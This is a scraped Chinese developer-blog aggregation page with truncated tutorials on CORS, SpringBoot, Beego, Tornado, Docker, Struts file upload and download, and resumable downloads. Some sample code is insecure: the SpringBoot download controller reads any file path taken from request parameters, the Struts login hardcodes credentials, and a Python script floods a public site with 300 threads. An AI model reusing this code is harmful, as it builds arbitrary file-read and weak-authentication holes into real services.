...eaders', 'Content-Type, Authorization, X-Requested-With'); if (req.method === 'OPTIONS') { res.send(200); } else { next(); } }); // 这里是你的路由配置... 4. 客户端注意事项虽然前端不能设置跨域响应头，但在发起带自定义请求头的跨域请求时，仍需在$httpProvider.defaults.headers中声明这些请求头，以便让服务器知道客户端希望携带哪些头部信息： javascript angular.module('myApp').config(['$httpProvider', function ($httpProvider) { $httpProvider.defaults.headers.common['X-Custom-Header'] = 'some-value'; }]); // 在$http请求中使用 $http({ method: 'POST', url: 'https://api.example.com/data', headers: {'Content-Type': 'application/json'}, data: { / ... / } }); 总结起来，虽然我们不能通过 $httpProvider.defaults.headers 来直接解决跨域问题，但它仍然是我们定制请求头部信息不可或缺的工具。要真正搞定跨域问题，关键得先摸清楚跨域策略的来龙去脉，然后在服务器那边儿把配置给整对了才行。在我们做前端开发这事儿的时候，千万要记牢这个小秘诀，这样一来，当咱们的AngularJS应用碰到跨域问题这块绊脚石时，就能轻松应对、游刃有余啦！

2023-09-21 21:16:40

397

草原牧歌

Kibana

Kibana API跨域问题详解：Elasticsearch配置与浏览器安全策略实践

...ted-With, Content-Type, Authorization" http.cors.max-age: 1728000 以上配置分别指定了允许的HTTP方法、请求头以及预检请求缓存的最大存活时间。 4. 前端调用Kibana API的示例假设现在我们已成功配置了Elasticsearch的CORS策略，接下来就可以在前端安心地调用Kibana API了。这里以JavaScript的fetch API为例： javascript // 假设我们的Kibana API地址是 http://kibanahost:5601/api/some-endpoint fetch('http://kibanahost:5601/api/some-endpoint', { method: 'GET', headers: new Headers({ 'Content-Type': 'application/json', // 如果有权限验证，还需带上Authorization头 // 'Authorization': 'Bearer your_token' }) }) .then(response => response.json()) .then(data => console.log(data)) .catch(error => console.error('Error:', error)); 在这个例子中，由于我们的Elasticsearch已经正确设置了CORS策略，所以前端可以顺利地向Kibana API发起请求并获取数据。 5. 结语 CORS问题虽小，但对于构建基于Kibana的应用而言却至关重要。只要我们把原理摸得透透的，再给它来个恰到好处的设置调教，就能确保跨域请求一路绿灯，这样一来，前后端就能像好兄弟一样无缝配合，高效协作啦！在整个操作过程中，咱得时刻把安全性和用户体验这两头儿捏在手心里，找到那个微妙的平衡点，这样子才能让Kibana这个数据分析工具，彻底爆发它的洪荒之力，展现出真正的强大功能。在探索和实践的过程中，希望这篇文章能成为你解决问题的得力助手，一起携手打造更好的数据分析体验！

2023-01-27 19:17:41

462

翡翠梦境

SpringBoot

SpringBoot中@RequestBody注解如何自动装配POST请求中的JSON数据到Java对象

...智能地根据请求里边的Content-Type，挑一个最合适的HttpMessageConverter来帮忙。它会把那些请求体里的内容，咔嚓一下，变成我们Java对象需要的那种类型，是不是很神奇？这个过程就像是一个聪明的翻译官，它能识别不同的“语言”（即各种数据格式），并将其转换为我们熟悉的Java对象，这样我们就能够直接操作这些对象，而无需手动解析JSON字符串，极大地提高了开发效率和代码可读性。 4. 总结与探讨在实际开发过程中，@RequestBody无疑是我们处理HTTP请求体中JSON数据的强大工具。然而，值得注意的是，对于复杂的JSON结构，确保你的Java模型类与其匹配至关重要。另外，你知道吗？SpringBoot在处理那些出错的或者格式不合规矩的JSON数据时，也相当有一套。比如，我们可以自己动手定制异常处理器，这样一来，当出现错误的时候，就能返回一些让人一看就明白的友好提示信息，是不是很贴心呢？总而言之，在SpringBoot的世界里，借助@RequestBody，我们得以轻松应对JSON数据的装配问题，让API的设计与实现更为流畅、高效。这不仅体现了SpringBoot对开发者体验的重视，也展示了其设计理念——简化开发，提升生产力。希望这次深入浅出的讨论能帮助你在日常开发中更好地运用这一特性，让你的代码更加健壮和优雅。

2024-01-02 08:54:06

101

桃李春风一杯酒_

Beego

Beego框架中HTTP头部设置冲突的识别与中间件、控制器内的解决策略详解

...er().Set("Content-Type", "application/json") // ... } （2）头部设置冲突的现象在Beego框架中，如果在不同的地方对同一个头部字段进行多次设置，后设置的值会覆盖先前的值。在某些情况下，可能会出现这么个问题，就是你期望的行为和最后得到的结果对不上号，这就有点像咱们平时说的“脑袋里的想法打架了”，也可以称之为“头部设置冲突”。 3. Beego中的HTTP头部设置冲突实例解析（3.1）中间件间的头部冲突假设我们有两个中间件，分别尝试设置Cache-Control头部： go // 中间件1 func Middleware1(ctx context.Context) { ctx.Output.Header("Cache-Control", "no-cache") } // 中间件2 func Middleware2(ctx context.Context) { ctx.Output.Header("Cache-Control", "max-age=3600") // 这将覆盖Middleware1的设置 } // 在beego中注册中间件 beego.InsertFilter("", beego.BeforeRouter, Middleware1) beego.InsertFilter("", beego.BeforeRouter, Middleware2) （3.2）控制器内的头部冲突同样地，在一个控制器的方法中，若多次设置同一头部字段，也会发生类似的情况： go func (c MainController) Get() { c.Ctx.ResponseWriter.Header().Set("Pragma", "no-cache") // ...一些业务逻辑... c.Ctx.ResponseWriter.Header().Set("Pragma", "public") // 这将覆盖之前的设置 } 4. 解决Beego中HTTP头部设置冲突的策略（4.1）明确设置优先级根据业务需求，确定各个地方设置HTTP头部的优先级，确保关键的头部设置不会被意外覆盖。例如，我们可以调整中间件执行顺序来控制头部设置的生效顺序。（4.2）合并头部设置对于部分可叠加的头部属性（如Cache-Control），可以通过遍历已存在的值并进行合并，而不是直接覆盖： go func mergeCacheControlHeader(ctx context.Context, newValue string) { existingValues := ctx.Output.Header["Cache-Control"] if len(existingValues) > 0 { newValue = strings.Join(append(existingValues, newValue), ", ") } ctx.Output.Header("Cache-Control", newValue) } // 使用示例 mergeCacheControlHeader(c.Ctx, "no-cache") mergeCacheControlHeader(c.Ctx, "max-age=3600") （4.3）统一管理头部设置为了减少冲突，可以在全局或模块层面设计一套统一的头部设置机制，避免分散在各个中间件和控制器中随意设置。总结来说，Beego框架中的HTTP头部设置冲突是一个需要开发者关注的实际问题。理解其产生原因并采取恰当的策略规避或解决此类冲突，有助于我们构建更稳定、高效的Web服务。在这一整个挖掘问题和解决问题的过程中，我们不能光靠死板的技术知识“啃硬骨头”，更要灵活运用咱们的“人情味儿”设计思维，这样一来，才能更好地把那个威力强大的Beego开发工具玩转起来，让它乖乖听话，帮我们干活儿。

2023-04-16 17:17:44

437

岁月静好

转载文章

[转载]利用python并发模块进行网站的状态检测

...获取请求的页面内容 content=result.read() 关闭连接 conn.close() 如果要模拟客户端进行请求，可以发送HTTP请求头 headers={"Content-Type":"text/html;charset=gb2312"} conn.requeset('POST','url',headersheaders=headers) 带参数传送 params=urllib.urlencode({'key':'value'}); conn.request('POST','url',body=params) 还有一个模拟浏览器的方式~ !/usr/bin/python -- coding: utf-8 -- import httplib conn = httplib.HTTPConnection('www.hao123.com') conn.request('GET', '/', headers = { "User-Agent" : "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5", "Accept" : "/", "Accept-Encoding" : "gzip,deflate", }) res = conn.getresponse() print conn.getresponse().status print res.status print res.msg print res.read() conn.close() 下面是并发的测试~ 类似 ab 和 webbench~~~~ -- coding: utf8 -- import threading, time, httplib HOST = "www.baidu.com"; 主机地址例如192.168.1.101 PORT = 80 端口 URI = "/?123" 相对地址,加参数防止缓存，否则可能会返回304 TOTAL = 0 总数 SUCC = 0 响应成功数 FAIL = 0 响应失败数 EXCEPT = 0 响应异常数 MAXTIME=0 最大响应时间 MINTIME=100 最小响应时间，初始值为100秒 GT3=0 统计3秒内响应的 LT3=0 统计大于3秒响应的创建一个 threading.Thread 的派生类 class RequestThread(threading.Thread): 构造函数 def __init__(self, thread_name): threading.Thread.__init__(self) self.test_count = 0 线程运行的入口函数 def run(self): self.test_performace() def test_performace(self): global TOTAL global SUCC global FAIL global EXCEPT global GT3 global LT3 try: st = time.time() conn = httplib.HTTPConnection(HOST, PORT, False) conn.request('GET', URI) res = conn.getresponse() print 'version:', res.version print 'reason:', res.reason print 'status:', res.status print 'msg:', res.msg print 'headers:', res.getheaders() start_time if res.status == 200: TOTAL+=1 SUCC+=1 else: TOTAL+=1 FAIL+=1 timetime_span = time.time()-st print '%s:%f\n'%(self.name,time_span) self.maxtime(time_span) self.mintime(time_span) if time_span>3: GT3+=1 else: LT3+=1 except Exception,e: print e TOTAL+=1 EXCEPT+=1 conn.close() def maxtime(self,ts): global MAXTIME print ts if ts>MAXTIME: MAXTIME=ts def mintime(self,ts): global MINTIME if ts<MINTIME: MINTIME=ts main 代码开始 print '===========task start===========' 开始的时间 start_time = time.time() 并发的线程数 thread_count = 300 i = 0 while i <= thread_count: t = RequestThread("thread" + str(i)) t.start() i += 1 t=0 并发数所有都完成或大于50秒就结束 while TOTAL<thread_count|t>50: print "total:%d,succ:%d,fail:%d,except:%d\n"%(TOTAL,SUCC,FAIL,EXCEPT) print HOST,URI t+=1 time.sleep(1) print '===========task end===========' print "total:%d,succ:%d,fail:%d,except:%d"%(TOTAL,SUCC,FAIL,EXCEPT) print 'response maxtime:',MAXTIME print 'response mintime',MINTIME print 'great than 3 seconds:%d,percent:%0.2f'%(GT3,float(GT3)/TOTAL) print 'less than 3 seconds:%d,percent:%0.2f'%(LT3,float(LT3)/TOTAL) 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_33835103/article/details/85213806。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2023-10-19 20:57:06

转载

Tornado

Tornado与React集成：异步处理与静态文件服务

...eaders", "Content-Type") self.write("Hello, world!") 在这个例子中，我们设置了允许所有来源的跨域请求，并允许 GET 和 POST 方法。 4.2 路由管理前端框架通常有自己的路由系统。为了更好地管理路由，我们可以在Tornado里用URLSpec类来设置一些更复杂的规则，这样路由管理起来就轻松多了。示例代码： python import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): self.write("Hello, world!") class UserHandler(tornado.web.RequestHandler): def get(self, user_id): self.write(f"User ID: {user_id}") def make_app(): return tornado.web.Application([ (r"/", MainHandler), (r"/users/(\d+)", UserHandler), ]) if __name__ == "__main__": app = make_app() app.listen(8888) tornado.ioloop.IOLoop.current().start() 在这个例子中，我们定义了两个路由：一个是根路径 /，另一个是 /users/。这样，我们就可以更灵活地管理 URL 路由了。 5. 结语通过以上的讨论，我们可以看到，虽然 Tornado 和前端框架的集成有一些挑战，但通过一些技巧和最佳实践，我们可以轻松地解决这些问题。希望这篇文章能帮助你在开发过程中少走弯路，享受编程的乐趣！最后，我想说，编程不仅仅是解决问题的过程，更是一种创造性的活动。每一次挑战都是一次成长的机会。希望你能在这个过程中找到乐趣，不断学习和进步！

2025-01-01 16:19:35

114

素颜如水

NodeJS

Node.js项目基于Docker容器化部署实现环境一致性与镜像优化

...etHeader('Content-Type', 'text/plain'); res.end('Hello World\n'); }); server.listen(port, hostname, () => { console.log(Server running at http://${hostname}:${port}/); }); 现在你可以直接运行它看看效果： bash node index.js 打开浏览器访问http://127.0.0.1:3000/，你会看到“Hello World”。不错，我们的基础项目已经搭建好了！ --- 4. 第一步编写Dockerfile 接下来我们要做的就是给这个项目添加Docker的支持。为此，我们需要创建一个特殊的文件叫Dockerfile。这个名字是固定的，不能改哦。进入项目根目录，创建一个空文件名为Dockerfile，然后在里面输入以下内容： dockerfile 使用官方的Node.js镜像作为基础镜像 FROM node:16-alpine 设置工作目录 WORKDIR /app 将当前目录下的所有文件复制到容器中的/app目录 COPY . /app 安装项目依赖 RUN npm install 暴露端口 EXPOSE 3000 启动应用 CMD ["node", "index.js"] 这段代码看起来有点复杂，但其实逻辑很简单： 1. FROM node:16-alpine 告诉Docker从官方的Node.js 16版本的Alpine镜像开始构建。 2. WORKDIR /app 指定容器内的工作目录为/app。 3. COPY . /app 把当前项目的文件拷贝到容器的/app目录下。 4. RUN npm install 在容器内执行npm install命令，安装项目的依赖。 5. EXPOSE 3000 声明应用监听的端口号。 6. CMD ["node", "index.js"]：定义容器启动时默认执行的命令。保存完Dockerfile后，我们可以试着构建镜像了。 --- 5. 构建并运行Docker镜像在项目根目录下运行以下命令来构建镜像： bash docker build -t my-node-app . 这里的. 表示当前目录，my-node-app是我们给镜像起的名字。构建完成后，可以用以下命令查看是否成功生成了镜像： bash docker images 输出应该类似这样： REPOSITORY TAG IMAGE ID CREATED SIZE my-node-app latest abcdef123456 2 minutes ago 150MB 接着，我们可以启动容器试试看： bash docker run -d -p 3000:3000 my-node-app 参数解释： - -d：以后台模式运行容器。 - -p 3000:3000：将主机的3000端口映射到容器的3000端口。 - my-node-app：使用的镜像名称。启动成功后，访问http://localhost:3000/，你会发现依然可以看到“Hello World”！这说明我们的Docker化部署已经初步完成了。 --- 6. 进阶多阶段构建优化镜像大小虽然上面的方法可行，但生成的镜像体积有点大（大约150MB左右）。有没有办法让它更小呢？答案是有！这就是Docker的“多阶段构建”。修改后的Dockerfile如下： dockerfile 第一阶段：构建阶段 FROM node:16-alpine AS builder WORKDIR /app COPY package.json ./ RUN npm install COPY . . RUN npm run build 假设你有一个build脚本第二阶段：运行阶段 FROM node:16-alpine WORKDIR /app COPY --from=builder /app/dist ./dist 假设build后的文件存放在dist目录下 COPY package.json ./ RUN npm install --production EXPOSE 3000 CMD ["node", "dist/index.js"] 这里的关键在于“--from=builder”，它允许我们在第二个阶段复用第一个阶段的结果。这样就能让开发工具和测试依赖 stays 在它们该待的地方，而不是一股脑全塞进最终的镜像里，这样一来镜像就能瘦成一道闪电啦！ --- 7. 总结与展望写到这里，我相信你已经对如何用Docker部署Node.js应用有了基本的认识。虽然过程中可能会遇到各种问题，但每一次尝试都是成长的机会。记得多查阅官方文档，多动手实践，这样才能真正掌握这项技能。未来，随着云计算和微服务架构的普及，容器化将成为每个开发者必备的技能之一。所以，别犹豫啦，赶紧去试试呗！要是你有什么不懂的，或者想聊聊自己的经历，就尽管来找我聊天，咱们一起唠唠~咱们一起进步！最后，祝大家都能早日成为Docker高手！😄

2025-05-03 16:15:16

海阔天空

转载文章

[转载]20171105_shiyan_upanddown Struts上传、下载功能结合（集合模拟数据库）

...g[] uploadContentType;private String[] uploadFileName;private String savePath;private Date createTime;public String getName() {return name;}public void setName(String name) {this.name = name;}public File[] getUpload() {return upload;}public void setUpload(File[] upload) {this.upload = upload;}public String[] getUploadContentType() {return uploadContentType;}public void setUploadContentType(String[] uploadContentType) {this.uploadContentType = uploadContentType;}public String[] getUploadFileName() {return uploadFileName;}public void setUploadFileName(String[] uploadFileName) {this.uploadFileName = uploadFileName;}public String getSavePath() {return savePath;}public void setSavePath(String savePath) {this.savePath = savePath;}public Date getCreateTime(){ createTime=new Date();return createTime;}public static void copy(File source,File target){ InputStream inputStream=null;OutputStream outputStream=null;try{inputStream=new BufferedInputStream(new FileInputStream(source));outputStream=new BufferedOutputStream(new FileOutputStream(target));byte[] buffer=new byte[1024];int length=0;while((length=inputStream.read(buffer))>0){outputStream.write(buffer, 0, length);} }catch(Exception e){e.printStackTrace();}finally{if(null!=inputStream){try {inputStream.close();} catch (IOException e2) {e2.printStackTrace();} }if(null!=outputStream){try{outputStream.close();}catch(Exception e2){e2.printStackTrace();} }} }@Overridepublic String execute() throws Exception { for(int i=0;i<upload.length;i++){ String path=ServletActionContext.getServletContext().getRealPath(this.getSavePath())+"\\"+this.uploadFileName[i];File target=new File(path);copy(this.upload[i],target);}return SUCCESS;} } /20171105_shiyan_upanddown/src/nuc/sw/action/LoginAction.java package nuc.sw.action;import java.util.regex.Pattern;import com.opensymphony.xwork2.ActionContext;import com.opensymphony.xwork2.ActionSupport;public class LoginAction extends ActionSupport {//属性驱动校验private String username;private String password;public String getUsername() {return username;}public void setUsername(String username) {this.username = username;}public String getPassword() {return password;}public void setPassword(String password) {this.password = password;}//手动检验@Overridepublic void validate() {// TODO Auto-generated method stub//进行数据校验，长度6~15位 if(username.trim().length()<6||username.trim().length()>15||username==null) {this.addFieldError("username", "用户名长度不合法！");}if(password.trim().length()<6||password.trim().length()>15||password==null) {this.addFieldError("password", "密码长度不合法！");} }//登陆业务逻辑public String loginMethod() {if(username.equals("chenghaoran")&&password.equals("12345678")) {ActionContext.getContext().getSession().put("user", username);return "loginOK";}else {this.addFieldError("err","用户名或密码不正确！");return "loginFail";} }//手动校验validateXxxpublic void validateLoginMethod() {//使用正则校验if(username==null||username.trim().equals("")) {this.addFieldError("username","用户名不能为空！");}else {if(!Pattern.matches("[a-zA-Z]{6,15}", username.trim())) {this.addFieldError("username", "用户名格式错误！");} }if(password==null||password.trim().equals("")) {this.addFieldError("password","密码不能为空！");}else {if(!Pattern.matches("\\d{6,15}", password.trim())) {this.addFieldError("password", "密码格式错误！");} }} } /20171105_shiyan_upanddown/src/nuc/sw/interceptor/LoginInterceptor.java package nuc.sw.interceptor;import com.opensymphony.xwork2.Action;import com.opensymphony.xwork2.ActionContext;import com.opensymphony.xwork2.ActionInvocation;import com.opensymphony.xwork2.ActionSupport;import com.opensymphony.xwork2.interceptor.AbstractInterceptor;public class LoginInterceptor extends AbstractInterceptor {@Overridepublic String intercept(ActionInvocation arg0) throws Exception {// TODO Auto-generated method stub//判断是否登陆，通过ActionContext访问SessionActionContext ac=arg0.getInvocationContext();String username=(String)ac.getSession().get("user");if(username!=null&&username.equals("chenghaoran")) {return arg0.invoke();//放行}else {((ActionSupport)arg0.getAction()).addActionError("请先登录！");return Action.LOGIN;} }} /20171105_shiyan_upanddown/src/struts.xml <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.1.7//EN""http://struts.apache.org/dtds/struts-2.1.7.dtd"><struts><constant name="struts.i18n.encoding" value="utf-8"/><package name="default" extends="struts-default"><interceptors><interceptor name="login" class="nuc.sw.interceptor.LoginInterceptor"></interceptor></interceptors> <action name="docUpload" class="nuc.sw.action.DocUploadAction"><interceptor-ref name="fileUpload"><param name="maximumSize">50000</param></interceptor-ref><interceptor-ref name="defaultStack"/><param name="savePath">/upload</param><result>/showFile.jsp</result><result name="input">/uploadFile.jsp</result></action> <action name="docDownload" class="nuc.sw.action.DocDownloadAction"><result type="stream"><param name="contentType">application/msword,text/plain</param><param name="inputName">inputStream</param><param name="contentDisposition">attachment;filename="${downloadFileName}"</param><param name="bufferSize">40960</param></result></action><action name="loginAction" class="nuc.sw.action.LoginAction" method="loginMethod"><result name="loginOK">/uploadFile.jsp</result><result name="loginFail">/login.jsp</result><result name="input">/login.jsp</result></action> </package></struts> /20171105_shiyan_upanddown/WebContent/login.jsp <%@ page language="java" contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>登录页</title><s:head/></head><body><s:actionerror/><s:fielderror fieldName="err"></s:fielderror><s:form action="loginAction" method="post"> <s:textfield label="用户名" name="username"></s:textfield><s:password label="密码" name="password"></s:password><s:submit value="登陆"></s:submit></s:form></body></html> /20171105_shiyan_upanddown/WebContent/showFile.jsp <%@ page language="java" contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>显示上传文档</title></head><body><center><font style="font-size:18px;color:red">上传者：<s:property value="name"/></font><table width="45%" cellpadding="0" cellspacing="0" border="1"><tr><th>文件名称</th><th>上传者</th><th>上传时间</th></tr><s:iterator value="uploadFileName" status="st" var="doc"><tr><td align="center"><a href="docDownload.action?downPath=upload/<s:property value="doc"/>"><s:property value="doc"/> </a></td><td align="center"><s:property value="name"/></td><td align="center"><s:date name="createTime" format="yyyy-MM-dd HH:mm:ss"/></td></tr></s:iterator></table></center></body></html> /20171105_shiyan_upanddown/WebContent/uploadFile.jsp <%@ page language="java" contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>多文件上传</title></head><body><center><s:form action="docUpload" method="post" enctype="multipart/form-data"><s:textfield name="name" label="姓名" size="20"/><s:file name="upload" label="选择文档" size="20"/><s:file name="upload" label="选择文档" size="20"/><s:file name="upload" label="选择文档" size="20"/><s:submit value="确认上传" align="center"/></s:form></center></body></html> 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_34101492/article/details/78811741。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2023-11-12 20:53:42

140

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转载文章

[转载]SpringBoot+Vue 实现大文件断点下载

...ork.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.;import java.net.URLEncoder;import java.util.Optional;/ @Description 文件切片下载 @ClassName DownLoadController @Author 康世行 @Date 20:58 2023/2/22 @Version 1.0/@Controller@Slf4jpublic class DownLoadController {private final static String utf8 = "utf-8";@RequestMapping("/down")public void downLoadFile(HttpServletRequest request, HttpServletResponse response) throws IOException {// 设置编码格式response.setCharacterEncoding(utf8);//获取文件路径String fileName=request.getParameter("fileName");String drive=request.getParameter("drive");//参数校验log.info(fileName,drive);//完整路径(路径拼接待优化-前端传输优化-后端从新格式化 )String pathAll=drive+":\\"+fileName;log.info("pathAll{}",pathAll);Optional<String> pathFlag = Optional.ofNullable(pathAll);File file=null;if (pathFlag.isPresent()){//根据文件名，读取file流file = new File(pathAll);log.info("文件路径是{}",pathAll);if (!file.exists()){log.warn("文件不存在");return;} }else {//请输入文件名log.warn("请输入文件名！");return;}InputStream is = null;OutputStream os = null;try {//分片下载long fSize = file.length();//获取长度response.setContentType("application/x-download");String file_Name = URLEncoder.encode(file.getName(),"UTF-8");response.addHeader("Content-Disposition","attachment;filename="+fileName);//根据前端传来的Range 判断支不支持分片下载response.setHeader("Accept-Range","bytes");//获取文件大小//response.setHeader("fSize",String.valueOf(fSize));response.setHeader("fName",file_Name);//定义断点long pos = 0,last = fSize-1,sum = 0;//判断前端需不需要分片下载if (null != request.getHeader("Range")){response.setStatus(HttpServletResponse.SC_PARTIAL_CONTENT);String numRange = request.getHeader("Range").replaceAll("bytes=","");String[] strRange = numRange.split("-");if (strRange.length == 2){pos = Long.parseLong(strRange[0].trim());last = Long.parseLong(strRange[1].trim());//若结束字节超出文件大小取文件大小if (last>fSize-1){last = fSize-1;} }else {//若只给一个长度开始位置一直到结束pos = Long.parseLong(numRange.replaceAll("-","").trim());} }long rangeLenght = last-pos+1;String contentRange = new StringBuffer("bytes").append(pos).append("-").append(last).append("/").append(fSize).toString();response.setHeader("Content-Range",contentRange);// response.setHeader("Content-Lenght",String.valueOf(rangeLenght));os = new BufferedOutputStream(response.getOutputStream());is = new BufferedInputStream(new FileInputStream(file));is.skip(pos);//跳过已读的文件(重点，跳过之前已经读过的文件)byte[] buffer = new byte[1024];int lenght = 0;//相等证明读完while (sum < rangeLenght){lenght = is.read(buffer,0, (rangeLenght-sum)<=buffer.length? (int) (rangeLenght - sum) :buffer.length);sum = sum+lenght;os.write(buffer,0,lenght);}log.info("下载完成");}finally {if (is!= null){is.close();}if (os!=null){os.close();} }} } 启动成功 Vue <html xmlns:th="http://www.thymeleaf.org"><head><meta charset="utf-8"/><title>狂神说Java-ES仿京东实战</title><link rel="stylesheet" th:href="@{/css/style.css}"/></head><body class="pg"><div class="page" id="app"><div id="mallPage" class=" mallist tmall- page-not-market "><div id="header" class=" header-list-app"><div class="headerLayout"><div class="headerCon "><h1 id="mallLogo"><img th:src="@{/images/jdlogo.png}" alt=""></h1><div class="header-extra"><div id="mallSearch" class="mall-search"><form name="searchTop" class="mallSearch-form clearfix"><fieldset><legend>天猫搜索</legend><div class="mallSearch-input clearfix"><div class="s-combobox" id="s-combobox-685"><div class="s-combobox-input-wrap"><input v-model="keyword" type="text" autocomplete="off" value="java" id="mq"class="s-combobox-input" aria-haspopup="true"></div></div><button type="submit" @click.prevent="searchKey" id="searchbtn">搜索</button></div></fieldset></form><ul class="relKeyTop"><li><a>狂神说Java</a></li><li><a>狂神说前端</a></li><li><a>狂神说Linux</a></li><li><a>狂神说大数据</a></li><li><a>狂神聊理财</a></li></ul></div></div></div></div></div><el-button @click="download" id="download">下载</el-button><el-button @click="stop">停止</el-button><el-button @click="start">开始</el-button>{ {fileFinalOffset} }{ {contentList} }<el-progress type="circle" :percentage="percentage"></el-progress></div><script th:src="@{/js/axios.min.js}"></script><script th:src="@{/js/vue.min.js}"></script><link rel="stylesheet" href="https://unpkg.com/element-ui/lib/theme-chalk/index.css"><script src="https://unpkg.com/element-ui/lib/index.js"></script><script>new Vue({ el: 'app',data: {keyword: '', //搜索关键字results: [] ,//搜索结果percentage: 0, // 下载进度filesCurrentPage:0,//文件开始偏移量fileFinalOffset:0, //文件最后偏移量stopRecursiveTags:true, //停止递归标签，默认是true 继续进行递归contentList: [], // 文件流数组breakpointResumeTags:false, //断点续传标签，默认是false 不进行断点续传temp:[],fileMap:new Map(),timer:null, //定时器名称},methods: {//根据关键字搜索商品信息searchKey(){var keyword=this.keyword;axios.get('/search/JD/search/'+keyword+"/1/10").then(res=>{this.results=res.data;//绑定数据console.log(this.results)console.table(this.results)})},//停止下载stop(){//改变递归标签为falsethis.stopRecursiveTags=false;},//开始下载start(){//重置递归标签为true 最后进行合并this.stopRecursiveTags=true;//重置断点续传标签this.breakpointResumeTags=true;//重新调用下载方法this.download();},// 分段下载需要后端配合download() {// 下载地址const url = "/down?fileName="+this.keyword.trim()+"&drive=E";console.log(url)const chunkSize = 1024 1024 50; // 单个分段大小，这里测试用100Mlet filesTotalSize = chunkSize; // 安装包总大小，默认100Mlet filesPages = 1; // 总共分几段下载//计算百分比之前先清空上次的if(this.percentage==100){this.percentage=0;}let sentAxios = (num) => {let rande = chunkSize;//判断是否开启了断点续传(断点续传没法并行-需要上次请求的结果作为参数)if (this.breakpointResumeTags){rande = ${Number(this.fileFinalOffset)+1}-${num chunkSize + 1};}else {if (num) {rande = ${(num - 1) chunkSize + 2}-${num chunkSize + 1};} else {// 第一次0-1方便获取总数，计算下载进度，每段下载字节范围区间rande = "0-1";} }let headers = {range: rande,};axios({method: "get",url: url.trim(),async: true,data: {},headers: headers,responseType: "blob"}).then((response) => {if (response.status == 200 || response.status == 206) {//检查了下才发现，后端对文件流做了一层封装，所以将content指向response.data即可const content = response.data;//截取文件总长度和最后偏移量let result= response.headers["content-range"].split("/");// 获取文件总大小，方便计算下载百分比filesTotalSize =result[1];//获取最后一片文件位置，用于断点续传this.fileFinalOffset=result[0].split("-")[1]// 计算总共页数，向上取整filesPages = Math.ceil(filesTotalSize / chunkSize);// 文件流数组this.contentList.push(content);// 递归获取文件数据(判断是否要继续递归)if (this.filesCurrentPage < filesPages&&this.stopRecursiveTags==true) {this.filesCurrentPage++;//计算下载百分比当前下载的片数/总片数this.percentage=Number((this.contentList.length/filesPages)100).toFixed(2);sentAxios(this.filesCurrentPage);//结束递归return;}//递归标签为true 才进行下载if (this.stopRecursiveTags){// 文件名称const fileName =decodeURIComponent(response.headers["fname"]);//构造一个blob对象来处理数据const blob = new Blob(this.contentList);//对于<a>标签，只有 Firefox 和 Chrome（内核）支持 download 属性//IE10以上支持blob但是依然不支持downloadif ("download" in document.createElement("a")) {//支持a标签download的浏览器const link = document.createElement("a"); //创建a标签link.download = fileName; //a标签添加属性link.style.display = "none";link.href = URL.createObjectURL(blob);document.body.appendChild(link);link.click(); //执行下载URL.revokeObjectURL(link.href); //释放urldocument.body.removeChild(link); //释放标签} else {//其他浏览器navigator.msSaveBlob(blob, fileName);} }} else {//调用暂停方法，记录当前下载位置console.log("下载失败")} }).catch(function (error) {console.log(error);});};// 第一次获取数据方便获取总数sentAxios(this.filesCurrentPage);this.$message({message: '文件开始下载！',type: 'success'});} }})</script></body></html> 本篇文章为转载内容。原文链接：https://blog.csdn.net/kangshihang1998/article/details/129407214。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2023-01-19 08:12:45

546

转载

转载文章

[转载]prettyPhoto

...query.js" type="text/javascript" charset="utf-8"></script> <link rel="stylesheet" href="css/prettyPhoto.css" type="text/css" media="screen" charset="utf-8" /> <script src="js/jquery.prettyPhoto.js" type="text/javascript" charset="utf-8"></script> 2、初始化jquery插件，以下是最简单的配置的js代码复制代码代码如下: $(document).ready(function(){ $("a[rel^='prettyPhoto']").prettyPhoto(); }); 下面是每种类型的html代码 1、单张图片复制代码代码如下: <a href="images/fullscreen/2.jpg" rel="prettyPhoto" title="This is the description"> <img src="images/thumbnails/t_2.jpg" width="60" height="60" alt="This is the title" /> </a> 2、图片相册复制代码代码如下: <a href="images/fullscreen/1.jpg" rel="prettyPhoto[pp_gal]" title="You can add caption to pictures."> <img src="images/thumbnails/t_1.jpg" width="60" height="60" alt="Red round shape" /> </a> <a href="images/fullscreen/2.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_2.jpg" width="60" height="60" alt="Nice 